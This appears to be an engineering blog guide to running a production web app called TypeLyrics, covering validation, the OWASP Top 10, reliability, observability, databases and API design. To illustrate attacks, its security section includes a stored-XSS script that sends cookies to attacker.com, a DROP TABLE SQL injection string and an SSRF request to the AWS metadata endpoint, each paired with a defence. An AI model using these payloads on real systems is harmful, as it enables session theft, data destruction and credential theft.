Production Engineering — What Every Engineer Needs to Know · ~/feed
[post]
Production Engineering — What Every Engineer Needs to Know
·34 min read
#product#engineering#guides
A professional reference covering code craft, security, reliability,
observability, product lifecycle, and platform engineering for a
production-grade web application. Grounded in the TypeLyrics stack
but applicable to any modern web product.
The only code you can trust is code you wrote yourself in this process. Every
external input — HTTP request params, form data, environment variables, database
rows, third-party API responses — must be validated before use.
Trust boundaries:
Browser (zero trust) ↓ HTTP requestAPI route ← validate here with Zod ↓ service callService layer ← assert invariants here ↓ DB queryDatabase ← enforce constraints here (NOT NULL, CHECK, FK)
Never validate only at one layer and assume it propagates. Database constraints
catch bugs that slip past application-level validation. Application validation
gives users good error messages.
This project already does this well with parseInput() in lib/validation.ts
and getEnv() in lib/env.ts. Both fail fast and loudly.
Use the Result pattern instead of exceptions for expected failures
Exceptions are for unexpected states. For expected failure modes (user not found,
rate limit exceeded, external API down), use a typed Result:
type Ok<T> = { ok: true; data: T }type Err = { ok: false; error: string; statusCode: number }type Result<T> = Ok<T> | Err// Caller is forced to handle both paths — no silent swallowconst result = await searchSongs(q, page, token)if (!result.ok) return NextResponse.json({ error: result.error }, { status: result.statusCode })return NextResponse.json(result.data)
This project already uses this pattern in song-search.service.ts. Every
service should return Result<T>.
Fail fast on startup, not on first use
If a required env var is missing, crash at startup with a clear message —
not at 2am when the first user hits the code path that needs it.
// Good: lib/env.ts — throws on missing varexport function getEnv(key: ServerVar): string { const val = process.env[key] if (!val) throw new Error(`Missing environment variable: ${key}`) return val}// Bad: silently uses undefinedconst token = process.env.GENIUS_ACCESS_TOKEN // undefined in prod → silent breakage
Idempotency — design operations to be safe to retry
An idempotent operation produces the same result whether called once or ten
times. This is critical for:
Payment processing (charge the user once, no matter how many retries)
Database writes (upsert with ON CONFLICT, not bare INSERT)
Webhooks (the sender retries on 5xx; your handler must be safe)
Batch scripts (the embed script uses WHERE title_embedding IS NULL — fully idempotent)
Pattern: accept an idempotency key from the client, store it, deduplicate:
POST /api/sessionsHeaders: Idempotency-Key: <uuid>
Never silently swallow errors
The most dangerous pattern in async JavaScript:
// Destroys the error — you'll never know why it failedsomeOperation().catch(() => {})// Also bad — logs but doesn't surface to SentrysomeOperation().catch(err => console.error(err))// Good — structured log + Sentry capturesomeOperation().catch(err => logger.error('operation_failed', { context }, err))
Immutability and pure functions
Functions with no side effects are easier to test, reason about, and parallelize.
Push side effects (DB writes, network calls, Redis sets) to the edges of your code.
The core logic — sorting, filtering, transforming — should be pure functions.
// Pure — testable with no mocksfunction getLevelInfo(totalTlp: number): LevelInfo { ... }// Side effect at the edge — one place to test/mockasync function saveSession(data: SessionData): Promise<Result<void>> { ... }
2. Security — Enterprise Web App
The OWASP Top 10 — what each one is and how this stack handles it
The OWASP Top 10 is the industry standard list of the most critical web security
risks. Every production engineer must know all 10.
A01 — Broken Access Control
Users can access data or actions they shouldn't.
How it happens: Forgetting to check ownership. "User A edits User B's profile
because the endpoint only checks authentication, not authorization."
Defence in this stack:
Supabase RLS policies enforce row-level ownership at the database layer — even
if the application code has a bug, the DB rejects the query
Server-side Supabase client uses the user's JWT (not service role) for
user-facing reads — the user literally cannot read another user's private rows
Service role key is server-only and never passed to the client
A02 — Cryptographic Failures
Sensitive data exposed in transit or at rest.
How it happens: HTTP instead of HTTPS, storing passwords in plaintext,
weak hashing (MD5/SHA1 for passwords), unencrypted backups.
Defence:
Vercel enforces HTTPS everywhere; HTTP redirects to HTTPS automatically
Passwords handled entirely by Supabase Auth (bcrypt internally)
Supabase encrypts data at rest (AES-256)
Secrets never in source code (env vars only)
A03 — Injection (SQL, Command, LDAP)
Attacker sends malicious input that changes the query's logic.
SQL injection example:
-- VulnerableSELECT * FROM songs WHERE title = '${userInput}'-- User sends: '; DROP TABLE songs; ---- Result: SELECT * FROM songs WHERE title = ''; DROP TABLE songs; ---- Safe (parameterized)SELECT * FROM songs WHERE title = $1 -- Supabase client always does this
Defence:
Supabase JS client uses parameterized queries for all operations — SQL injection
is structurally impossible via the client API
Never concatenate user input into SQL strings
Zod input validation strips unexpected fields before they reach the DB
A04 — Insecure Design
Missing security controls in the architecture — not a bug, a design flaw.
Examples: No rate limiting on login endpoint (allows brute force), no
account lockout, API that returns all user data in one call without pagination.
Defence:
Rate limiting on all API routes (Upstash Redis sliding window)
Auth delegated to Supabase (handles lockout, email verification, OAuth)
API routes return only what's needed — never SELECT * and return everything
A05 — Security Misconfiguration
Default credentials left in place, stack traces exposed in error responses,
unnecessary features enabled, permissive CORS.
Defence:
CSP headers via middleware.ts — strict script-src, frame-src: none
Sessions managed by Supabase Auth — uses signed JWTs with expiry
Supabase middleware refreshes the session cookie on every request
OAuth (GitHub, Google) — users never create passwords in your app
No custom auth code — the highest-risk category to build yourself
A08 — Software and Data Integrity Failures
Untrusted updates or plugins executed without verification.
How it happens: Loading a CDN script without Subresource Integrity (SRI),
using eval() on user data, insecure CI/CD that can be hijacked.
Defence:
CSP script-src 'nonce-${nonce}' 'strict-dynamic' — only scripts with the
server-generated nonce execute; inline scripts without nonce are blocked
No eval() anywhere in the codebase
--frozen-lockfile in CI — dependency tree cannot be silently changed
A09 — Security Logging and Monitoring Failures
You don't know you've been breached because you have no logs.
Defence:
Structured logging via logger.ts on every API route
Sentry captures all errors with context
Rate limit violations are logged with the IP key
Gap: No alerting is currently set up for anomalous patterns (spike in 401s,
spike in rate limit rejections — both indicate an attack in progress).
A10 — Server-Side Request Forgery (SSRF)
Attacker tricks your server into making requests to internal network resources.
How it happens:
POST /api/fetch-url{ "url": "http://169.254.169.254/latest/meta-data/" } ← AWS metadata endpoint
Your server fetches it and returns AWS credentials to the attacker.
Defence:
This app doesn't have a user-supplied URL fetch endpoint
If you ever add one: validate the URL against an allowlist before fetching,
or use a sandboxed fetch utility that blocks RFC-1918 IP ranges
Authentication patterns you must understand
JWT (JSON Web Token)
A signed token containing claims. Not encrypted by default — the payload is
base64, not ciphertext. Anyone can decode it; only the server can verify it.
The signature is what prevents tampering. Supabase uses asymmetric signing
(RS256) — only Supabase can create valid tokens; your app only verifies them.
Never store JWTs in localStorage.HttpOnly cookies are not accessible to
JavaScript — an XSS attack can't steal them. Supabase SSR uses HttpOnly
cookies by default.
Sessions vs tokens
Server sessions: Session ID stored in a cookie, session data stored
server-side. Revocable instantly. Requires server storage.
JWTs: All data in the token. Stateless — no server storage. Cannot be
revoked before expiry without a blocklist.
Supabase uses short-lived JWTs (1 hour) + long-lived refresh tokens (1 week).
The refresh token is stored in an HttpOnly cookie; the middleware uses it to
mint new access tokens. This gives the benefits of stateless JWTs with
reasonable revocation windows.
The principle of least privilege
Every component should have only the permissions it needs and nothing more.
Component
Should use
Should NOT use
Browser/client
Supabase anon key
Service role key
API routes (user actions)
User's JWT (via Supabase SSR)
Service role key
API routes (admin/cron)
Service role key
Never from browser
Batch scripts
Service role key
Anon key
XSS (Cross-Site Scripting)
Attacker injects a script into your page that runs in your users' browsers.
<!-- Stored XSS: attacker posts this as a comment --><script>document.location='https://attacker.com/?c='+document.cookie</script>
Defences:
React escapes all values rendered in JSX automatically — {userInput} is safe
dangerouslySetInnerHTML bypasses escaping — treat it like executing code
CSP script-src with nonce blocks any injected scripts that don't have the nonce
HttpOnly cookies mean even a successful XSS can't steal the session token
CSRF (Cross-Site Request Forgery)
Attacker tricks a logged-in user's browser into making an authenticated request
to your app.
Supabase uses SameSite=Lax on cookies — cookies aren't sent on cross-origin
GET requests from third-party sites
Use POST for all state-changing actions (not GET)
Vercel adds Sec-Fetch-Site headers; Next.js API routes can validate them
Content Security Policy (CSP)
CSP is a browser directive telling it which sources are allowed to load scripts,
styles, images, and make connections. A strict CSP is the most effective defense
against XSS.
The current CSP in middleware.ts:
script-src 'self' 'nonce-{nonce}' 'strict-dynamic' ← only nonce'd scripts runstyle-src 'self' 'unsafe-inline' ← needed for React inline stylesimg-src 'self' data: blob: https://*.genius.com … ← explicit allowlistconnect-src 'self' https://*.supabase.co … ← controls fetch/XHR destinationsframe-src 'none' ← no iframes at all (anti-clickjacking)
'strict-dynamic' means: trust scripts that the nonce'd script loads. This lets
Google Tag Manager load additional scripts without adding each one to the CSP.
Dependency supply chain security
Dependencies are code you didn't write running in your production app. The
left-pad incident, the event-stream attack, and the ua-parser-js hijack all
show that popular packages can be compromised.
Practices:
Lockfile always committed.pnpm-lock.yaml pins exact versions. Without
it, pnpm install could install a compromised new minor version.
--frozen-lockfile in CI. Refuses to install if the lockfile is
inconsistent with package.json — catches tampered lockfiles.
pnpm audit in CI checks for known CVEs in your dependency tree.
Review dependencies before adding. Check the package's: download count,
maintenance status, GitHub stars, last publish date. Prefer packages with
few transitive dependencies.
Prefer established packages over micro-packages. One well-maintained
package is less attack surface than five tiny ones.
Never npm install <package> in a hurry. Typosquatting is real —
momnet vs moment, coloUrs vs colors.
3. Reliability Engineering
SLIs, SLOs, SLAs — the reliability vocabulary
Term
Meaning
Example
SLI (Service Level Indicator)
A metric that measures reliability
Request success rate, p95 latency
SLO (Service Level Objective)
Your internal target for an SLI
99.5% success rate over 30 days
SLA (Service Level Agreement)
A contract with consequences
"99.9% uptime or credits issued"
Error budget
How much failure you can afford
1 - 0.995 = 0.5% of requests can fail
You don't need a formal SLA for a side project, but thinking in SLOs forces
clarity: "what does 'working' mean?" Define it before you have an incident.
A practical starting SLO for TypeLyrics:
Homepage loads: 99.5% of weeks (allows ~36 hours downtime/year)
Search returns results: 99% (Genius API is external, not fully controllable)
Daily challenge loads: 99.9% (critical feature, avoid missing the window)
Graceful degradation
Design every feature to fail independently without taking the whole app down.
Dependency hierarchy (most → least critical): App renders ← must work ├── Auth ← must work ├── Search ← important, can degrade to "no results" ├── Cover art ← nice-to-have, replace with placeholder └── Semantic ← opt-in feature, returns [] on failure
This project already does this correctly:
getCached() fails open — if Redis dies, fetches from DB directly
checkRateLimit() fails open — if Redis dies, allows all requests
/api/songs/similar returns { songs: [] } on any error — main search unaffected
Circuit breaker pattern
A circuit breaker stops sending requests to a failing service after a threshold
of failures, giving the service time to recover.
States: CLOSED → requests pass through normally OPEN → requests blocked, fast-fail returned HALF-OPEN → test request sent; if success → CLOSED; if fail → OPENThreshold: 5 failures in 10 seconds → OPEN for 30 seconds
Not needed for this project at current scale, but important for:
Genius API (which has rate limits and occasional outages)
OpenAI API (Tier 3 semantic search)
A simple implementation: track failure count in Redis with a TTL.
Retry with exponential backoff and jitter
When an external call fails, retrying immediately often makes it worse (you're
hammering an already-struggling service). Exponential backoff with jitter
spreads retries over time:
async function withRetry<T>(fn: () => Promise<T>, maxAttempts = 3): Promise<T> { for (let attempt = 1; attempt <= maxAttempts; attempt++) { try { return await fn() } catch (err) { if (attempt === maxAttempts) throw err // Exponential: 100ms, 200ms, 400ms — plus random jitter to prevent thundering herd const base = 100 * Math.pow(2, attempt - 1) const jitter = Math.random() * base await new Promise(r => setTimeout(r, base + jitter)) } } throw new Error('unreachable')}
Only retry idempotent operations. Retrying a POST /api/sessions that
already succeeded will create a duplicate session.
Zero-downtime deployments
Vercel handles this automatically: it deploys the new version alongside the old
one, runs health checks, then shifts traffic. You never have a hard cutover.
The things you need to manage yourself:
Database migrations must be backward compatible. During a deploy, both the
old code version and the new code version run simultaneously for a brief window.
The DB schema must work with both.
-- Safe: add a nullable columnALTER TABLE songs ADD COLUMN IF NOT EXISTS new_field text;-- Old code ignores it. New code uses it. Both work.-- Unsafe: rename a columnALTER TABLE songs RENAME COLUMN title TO song_title;-- Old code references "title" which no longer exists → instant 500s
The safe migration pattern for renaming:
Deploy step 1: add song_title column (keep title)
Deploy step 2: backfill song_title from title
Deploy step 3: update code to use song_title
Deploy step 4: drop title
Health checks
Every production service should expose a /health or /api/health endpoint
that uptime monitors can ping. It should check real dependencies:
An uptime monitor (UptimeRobot, Better Uptime) hits this every minute and
alerts you if it returns non-200.
4. Observability — Logs, Metrics, Traces
The three pillars of observability. You cannot debug what you cannot observe.
Logs — what happened
Logs record discrete events. Structured logs (JSON) are far more useful than
text strings because they're queryable.
The right things to log:
// Log requests that should be rare but matterlogger.info('daily_challenge_completed', { userId, songId, wpm, streak, latency_ms: Date.now() - start,})// Log every cache decisionlogger.info('semantic_search', { query, cache_hit: Boolean(cached), result_count: songs.length, latency_ms,})// Log anomalies, not normal flowlogger.warn('rate_limit_exceeded', { ip, route })logger.error('db_query_failed', { query: 'match_songs' }, err)
The wrong things to log:
Don't log every request — that's access logs, handle separately
Don't log sensitive data (passwords, tokens, PII)
Don't log inside tight loops (O(n) logs for O(n) operations)
Log levels and when to use them:
Level
Use when
Action required
debug
Verbose trace for local investigation
None (disabled in prod)
info
Business events worth recording
None, just telemetry
warn
Expected transient issue (Redis miss, rate limit)
Monitor frequency
error
Unexpected failure requiring investigation
Alert, page oncall
Metrics — how much, how fast
Metrics are aggregated numbers over time. They answer: "Is this getting worse?"
Request count per second
p50, p95, p99 latency
Error rate
Cache hit ratio
Active users
Vercel Analytics provides Core Web Vitals (LCP, CLS, INP) and Web Analytics
(page views, geographic breakdown). For deeper metrics, add a Vercel Log Drain
→ Datadog/Grafana or use Vercel's native analytics dashboard.
Traces — why it was slow
A trace follows a single request through all the systems it touched:
GET /api/songs/search?q=taylor [total: 234ms] ├── Rate limit check (Redis) [12ms] ├── Parse + validate input [1ms] └── searchSongs() [221ms] ├── Genius API fetch [198ms] ← the slow part └── Response transform [1ms]
Sentry's tracesSampleRate: 0.1 captures 10% of requests as full traces.
This is enough to identify slow code paths without generating massive amounts
of data.
The difference between logging and monitoring
Logging is passive: you record events, you look at them when something breaks
Monitoring is active: you define thresholds, the system alerts you when they're crossed
You need both. Logging without monitoring means you only find problems after
users report them. Monitoring without good logs means you know something is
wrong but can't diagnose why.
5. Performance Engineering
Core Web Vitals — what Google measures
Metric
What it measures
Good threshold
LCP (Largest Contentful Paint)
When the main content loads
< 2.5s
CLS (Cumulative Layout Shift)
Unexpected layout movement
< 0.1
INP (Interaction to Next Paint)
Responsiveness to clicks
< 200ms
CLS is the most commonly violated. It happens when:
Images load without width and height set (the page reflows around them)
Fix: Always set width and height on <Image>. Use font-display: swap
for web fonts.
The caching hierarchy
Every layer of caching reduces latency and cost:
Browser cache (0ms) ← no network at all ↓ missVercel CDN edge (~5ms) ← served from nearest data center ↓ missRedis cache (~10ms) ← in-memory, global, shared across instances ↓ missDatabase query (~30ms) ← Postgres with indexes ↓ missExternal API (~200ms) ← Genius, OpenAI — cross-network
Cache invalidation is the hard problem. Two strategies:
TTL-based: Cache expires after N seconds. Simple, may serve stale data.
Best for: leaderboards (refresh every 5 min), featured songs (refresh hourly).
Write-invalidation: On write, delete the relevant cache key. Immediately
consistent but requires knowing which keys to delete.
Best for: user profile (invalidate on profile save), session results.
Bundle size
Every kilobyte of JavaScript delays the time to interactive. Tools to check:
# After build, check bundle breakdownnpx @next/bundle-analyzer# or check .next/server/app/page.js size directly
Rules:
Dynamic import large dependencies that aren't needed on first render:
const HeavyComponent = dynamic(() => import('./HeavyComponent'))
Tree-shake: import { specific } from 'library' not import library from 'library'
Check if a dependency has a lighter alternative (date-fns → Temporal or
simple string formatting; lodash → native JS)
Server vs client rendering
Strategy
When to use
Tradeoff
RSC (React Server Component)
Data fetching, auth checks, SEO-critical content
No interactivity, no hooks
SSR (Server-Side Render)
Dynamic pages with auth
Slower than static, fresh data
SSG (Static Site Generation)
Content that rarely changes
Fastest, but stale until rebuild
CSR (Client-Side Render)
Interactive UI after hydration
No SEO, flash of empty content
Next.js App Router defaults to RSC. Add 'use client' only when you need
hooks or browser APIs. Keep 'use client' components small — they pull the
whole subtree into the client bundle.
6. Database Best Practices
Never SELECT * in production code
SELECT * is a latency and memory bomb:
Returns columns you don't need (binary blobs, large JSON fields)
Breaks when column names change
Prevents index-only scans (the DB has to read the actual row, not just the index)
Always name your columns: SELECT id, title, artist, cover_url FROM songs.
N+1 queries — the most common performance bug
// N+1: 1 query for songs + 1 query per song for stats = 101 queries for 100 songsconst songs = await getSongs() // 1 queryfor (const song of songs) { const stats = await getStatsForSong(song.id) // N queries}// Fixed: 1 query for songs + 1 query for all stats = 2 queriesconst songs = await getSongs()const songIds = songs.map(s => s.id)const stats = await getStatsBatch(songIds) // WHERE song_id = ANY($1)const statsMap = new Map(stats.map(s => [s.song_id, s]))const result = songs.map(s => ({ ...s, stats: statsMap.get(s.id) }))
Supabase's PostgREST can do this in one query with select('*, stats(*)').
Index design
Index on columns you filter by (WHERE user_id = $1)
Index on columns you sort by (ORDER BY created_at DESC)
Composite indexes are ordered — (user_id, created_at) helps queries
that filter by user_id AND sort by created_at, but only helps user_id
alone, never created_at alone
Partial indexes for common filtered queries:
CREATE INDEX idx_sessions_daily ON typing_sessions (user_id, created_at) WHERE is_daily_challenge = true;-- Only indexes daily challenge rows — smaller, faster for that specific query
Connection pooling
PostgreSQL supports a limited number of concurrent connections (default: 100).
Serverless functions create a new connection per invocation. At scale, you can
exhaust the connection limit.
Solution: PgBouncer (Supabase includes this — use the pooled connection string
ending in :6543 instead of :5432).
The connection string is in your Supabase dashboard under Settings → Database →
Connection string → Transaction mode.
Migration safety rules
Migration type
Safety
Notes
Add nullable column
Safe
Old code ignores it
Add NOT NULL column with default
Safe
Old code ignores it; DB fills default
Add NOT NULL without default
Dangerous
Existing rows have no value — locks table
Rename column
Dangerous
Old code references old name → crashes
Drop column
Dangerous
Old code may still reference it
Add index
Safe (mostly)
Use CREATE INDEX CONCURRENTLY — doesn't lock table
Drop index
Safe
No code depends on indexes directly
Add foreign key
Dangerous
Locks both tables during validation
The fix for dangerous migrations: always do them in multiple deploy steps, as
described in the zero-downtime section.
Backup strategy — the 3-2-1 rule
3 copies of your data
2 on different media/services
1 offsite
Supabase Pro automatic backups cover the first two. For the third:
# Schedule a weekly pg_dump to an S3 bucketpg_dump postgresql://... | gzip > backup-$(date +%Y%m%d).sql.gzaws s3 cp backup-*.sql.gz s3://your-backup-bucket/
Test your backups. An untested backup is not a backup. Monthly, restore to
a local Supabase instance and verify the data is intact.
7. API Design Principles
RESTful conventions
GET /api/songs → listGET /api/songs/:id → single itemPOST /api/songs → createPATCH /api/songs/:id → partial updateDELETE /api/songs/:id → delete
Never use GET for state-changing operations. GET must be safe and idempotent.
Search engines, pre-fetchers, and monitoring tools hit GET endpoints.
Consistent error shape
Every API should return errors in the same shape so clients can handle them generically:
// Every error response{ "error": "Human-readable message", // for developers "code": "RATE_LIMIT_EXCEEDED", // for programmatic handling "retryAfter": 42 // optional: how long to wait}
Never return a 200 with { success: false } in the body — that bypasses HTTP
status codes that every framework understands.
HTTP status codes used correctly
Code
Meaning
Use when
200
OK
Request succeeded
201
Created
Resource created (POST)
204
No Content
Success, no body (DELETE)
400
Bad Request
Client sent invalid input
401
Unauthorized
Not authenticated (no session)
403
Forbidden
Authenticated but not allowed
404
Not Found
Resource doesn't exist
409
Conflict
State conflict (duplicate, version mismatch)
422
Unprocessable Entity
Valid JSON but fails validation
429
Too Many Requests
Rate limited — include Retry-After header
500
Server Error
Unexpected failure (never return details)
503
Service Unavailable
External dependency down
API versioning
If your API is consumed by external clients (mobile apps, third parties), you
must version it before breaking changes:
/api/v1/songs/search/api/v2/songs/search ← new response shape
For an internal API (only consumed by your own frontend), versioning is optional
— you deploy both at once. But if you ever open an API to the public, version
from day one.
Pagination
Never return unbounded lists from an API:
// Always limit + offset or cursor-basedGET /api/songs?page=2&limit=20→ { songs: [...], hasMore: true }// Or cursor-based (more efficient for large datasets)GET /api/songs?cursor=<last_id>&limit=20→ { songs: [...], nextCursor: "<next_id>" }
Cursor pagination is more efficient than offset pagination for large datasets
because OFFSET 10000 forces the DB to scan and discard 10,000 rows.
8. Product Lifecycle Engineering
Feature flags
Feature flags let you deploy code without activating it. You can:
Test features in production with 1% of users
Kill a feature instantly without a deploy
Give early access to beta testers
Simple implementation with Redis:
async function isFeatureEnabled(feature: string, userId: string): Promise<boolean> { // Check user-specific override first const userOverride = await redis.get(`flag:${feature}:user:${userId}`) if (userOverride !== null) return userOverride === '1' // Fall back to global percentage rollout const rollout = Number(await redis.get(`flag:${feature}:rollout`) ?? 0) if (rollout >= 100) return true if (rollout <= 0) return false // Deterministic: same user always gets same answer const hash = parseInt(createHash('md5').update(userId + feature).digest('hex').slice(0, 8), 16) return (hash % 100) < rollout}
For a production product, use a managed service: LaunchDarkly, Flagsmith,
Vercel Feature Flags, or GrowthBook (open source).
Gradual rollouts / canary deploys
Instead of deploying to 100% of users at once, route a small percentage to the
new version:
5% of traffic → new Vercel deployment95% of traffic → current stable deploymentMonitor error rate for 30 minutes → if clean, ramp to 25% → 50% → 100%
Vercel supports this via Traffic Splitting in the dashboard.
A/B testing
Different from a feature flag — you're comparing two variants to see which
performs better:
Variant A (control): Current search result orderVariant B (test): Semantic search results promoted to topMetric: songs clicked / search sessionWinner: whichever has higher click-through rate after N users
Tools: Vercel Edge Config + Middleware for routing, PostHog or Optimizely for
experiment tracking.
API deprecation lifecycle
If you ever deprecate an endpoint:
Add a Deprecation: true header and Sunset: <date> header to responses
Document the migration path in the API changelog
Keep the endpoint alive for at least 3 months after announcing deprecation
Send the sunset date in headers 30 days before removal
Never remove an API endpoint with zero notice if external clients use it.
Semantic versioning for packages
@typelyrics/types uses 0.0.1. When it becomes used externally:
MAJOR.MINOR.PATCH │ │ └── Bug fixes (backward compatible) │ └── New features (backward compatible) └── Breaking changes (not backward compatible)
1.2.3 → 1.2.4: a fix (safe to auto-update)
1.2.3 → 1.3.0: new feature (safe to auto-update)
1.2.3 → 2.0.0: breaking change (manual update required)
9. Platform Engineering
The 12-Factor App methodology
The 12-Factor App is the canonical guide for building portable, maintainable
production applications. TypeLyrics follows most of them — here's where it
stands:
Factor
Status
Notes
I. Codebase — one repo, many deploys
✅
Monorepo with Vercel environments
II. Dependencies — explicit, isolated
✅
pnpm lockfile, no system deps
III. Config — in environment, not code
✅
All secrets in env vars, never in code
IV. Backing services — treat as attached resources
✅
Supabase URL in env var; swap by changing it
V. Build, release, run — strict separation
✅
Vercel builds then deploys separately
VI. Processes — stateless
✅
Serverless functions; state in Supabase/Redis
VII. Port binding — export via port
✅
Next.js dev server on :3005
VIII. Concurrency — scale out
✅
Serverless auto-scales
IX. Disposability — fast startup, graceful shutdown
✅
Serverless by design
X. Dev/prod parity
⚠️
Dev hits prod DB — should use local Supabase
XI. Logs — event streams
✅
Structured JSON logs to stdout
XII. Admin processes — one-off tasks
✅
scripts/embed-songs.ts is a one-off process
Infrastructure as Code (IaC)
Every infrastructure resource should be defined in code, not clicked through a
dashboard. This enables:
Reproducibility: spin up an identical environment from scratch
Audit trail: who changed what, when, via git
Rollback: revert infrastructure changes like code
Tools by complexity:
Simple/current: Supabase migrations + vercel.json is already IaC for
the DB schema and deploy config
Medium: Vercel CLI + Supabase CLI scripts for full provisioning
Full: Terraform or Pulumi manages all cloud resources declaratively
A minimal IaC addition right now: document the steps to provision a fresh
environment in a SETUP.md. If you can't rebuild from scratch in 2 hours, you
don't have real IaC.
Disaster recovery — RTO and RPO
Term
Meaning
Question it answers
RTO (Recovery Time Objective)
How long until service is restored
"How long can we be down?"
RPO (Recovery Point Objective)
How much data loss is acceptable
"How old can the last backup be?"
For TypeLyrics:
RTO: ~5 minutes (Vercel rollback is ~10 seconds; DB restore is the slow path)
RPO: 24 hours (Supabase daily backups) → could be improved with PITR
Environment parity (the hardest rule to follow)
Production bugs that only reproduce in production are caused by environment
differences. Sources of parity gaps:
Difference
Example
Fix
Database version
Postgres 14 local, 15 prod
Use supabase start with matching version
Data volume
100 rows local, 1.7M prod
Test pagination and query performance with real data
Env vars
Missing var noticed only in prod
validateEnv() on startup catches this
Network latency
Local DB is instant, prod DB ~20ms
Doesn't matter until you have N+1 queries
HTTPS vs HTTP
OAuth redirects may differ
Use NEXT_PUBLIC_SITE_URL consistently
Runbooks
A runbook is a step-by-step document for performing a specific operational task.
They reduce the cognitive load during an incident.
Runbooks to write for TypeLyrics:
How to roll back a bad deploy (already in devops-guide.md)
How to apply a database migration
How to run the embedding batch script (already in the semantic search doc)
How to rotate secrets (in devops-guide.md)
How to provision a fresh dev environment from scratch
Keep runbooks in _docs/runbooks/ as short, numbered steps. They are living
documents — update them whenever the process changes.
10. Developer Experience & Team Practices
Pull request discipline
A good PR:
Does one thing. A PR that adds a feature, fixes two bugs, and refactors
a module is three PRs. Reviewers can't reason about mixed intent.
Has a clear title. "Fix search" is bad. "Fix useBrowseSearch stale closure
causing double page load" is good.
Self-describes the change. The PR description answers: what changed, why,
and how to test it.
Is small. Aim for under 400 lines of diff. Above 1000 lines, reviewers
stop reading carefully.
Code review principles
For the author:
Add comments to non-obvious decisions ("Intentional: Redis fails open here
so a cache outage never blocks reads")
Mark TODOs with context: // TODO: remove after migration 021 is applied
Don't submit a PR you wouldn't want to maintain for a year
For the reviewer:
Review the intent, not just the code ("Does this solve the right problem?")
Ask questions, don't demand changes: "What happens if Redis is down here?"
Approve changes you understand, not changes you trust the author to get right
Commit discipline
Follow Conventional Commits:
feat: add semantic search toggle to browse pagefix: correct hasTitleMatch false positive for short querieschore: update vitest to 4.1.5refactor: extract rate limit check into shared middlewaredocs: add devops guide
Benefits:
git log --oneline becomes a readable changelog
Tools can auto-generate CHANGELOG.md from commit messages
Automated version bumping based on commit types
Technical debt management
Technical debt is not bad code — it's a deliberate trade-off. The problem is
untracked debt that accumulates invisibly.
Track debt explicitly:
Use // DEBT: comments for known shortcuts
Keep a _docs/tech-debt.md list with: what it is, why it was done, cost of
leaving it, priority
Dedicate 10–20% of sprint capacity to debt reduction (if you have sprints)
Never let debt touch the critical path of a new feature without fixing it first
Documentation philosophy
Documentation decays. Keep it minimal but reliable.
What to document:
Architecture decisions (ADRs — Architectural Decision Records) in _docs/arch/
Non-obvious system behavior ("The cron job must complete before 00:05 UTC or
the daily challenge window is missed")
Runbooks for operational tasks
API contracts
What not to document:
Code that explains itself (getUserByEmail() doesn't need a docstring)
Step-by-step tutorials for tools that have their own docs (link instead)
Anything that will be wrong in 3 months
The test for good documentation: Can a new engineer use it to understand
the system and make a change without asking you? If yes, keep it. If no, rewrite
or delete it.
11. The Senior Engineer Mindset
These are the thinking patterns that separate good engineers from excellent ones.
Systems thinking
Every change has second-order effects. Before shipping:
"What happens if this endpoint receives 100× normal traffic?"
"What happens if the user refreshes during this operation?"
"What if Redis is down when this code runs?"
"What does a browser with JavaScript disabled see?"
The answers reveal the assumptions baked into your design. Make them explicit.
The reversibility principle
Categorize every decision by reversibility:
Reversible
Irreversible
Changing a UI component
Deleting a database column with data
Adding a feature flag
Publishing a breaking API change
Changing a CSS variable
Removing a user's account
Move fast on reversible decisions. Slow down on irreversible ones. The cost of
caution on reversible things is low. The cost of haste on irreversible things
can be catastrophic.
Boring technology
Choose tools that are well understood, widely deployed, and battle-tested over
exciting new tools. Postgres > NewSQL. Redis > a custom cache. Next.js > a
custom SSR framework.
Exciting technology means:
Fewer people to ask for help
Less documentation, fewer examples
More unresolved bugs
Uncertain long-term maintenance
Use new technology where it has a concrete, demonstrable advantage for your
specific use case. Not because it's interesting.
The cost of complexity
Every abstraction, every service, every dependency is complexity that future
you (and your team) must maintain. The question before adding any complexity:
"Does the benefit justify the maintenance cost permanently?"
Not just today. Not just for this sprint. Permanently.
A third-party service that saves 2 weeks of development time is worth it if it
saves more than 2 weeks of total operational maintenance over its lifetime. Many
don't. Be skeptical.
Operability as a feature
Write code as if you'll be debugging it at 2am under pressure. Because you will.
Log the inputs and outputs of every operation that can fail
Add context to errors ("Failed to embed song id=12345, title='X'") not just the exception
Write self-describing metrics names (semantic_search_cache_hit_total, not counter_1)
Design systems that degrade visibly when broken, not silently
Build: Game mechanics, song search logic, streak system, UI/UX
The rule of thumb: If it's not in the name of your product, buy it.
Quick Reference Card
Security checklist (before every deploy): □ Input validated with Zod at every API boundary □ No secrets in code, console.log, or error responses □ Rate limiting on every public endpoint □ Service role key only in server-side code □ New external URLs added to CSP img-src / connect-srcReliability checklist: □ New external dependency has a timeout □ Failure path returns gracefully (not 500) □ New migrations are backward compatible □ Feature is testable independently of the main flowCode quality checklist: □ Input validated at the entry point □ Errors logged with context (not swallowed) □ No N+1 queries in the hot path □ SELECT names specific columns, not *Before merging to main: □ CI is green (typecheck + lint + tests) □ PR description explains the why □ New env vars added to turbo.json and Vercel dashboard □ New API routes have rate limiting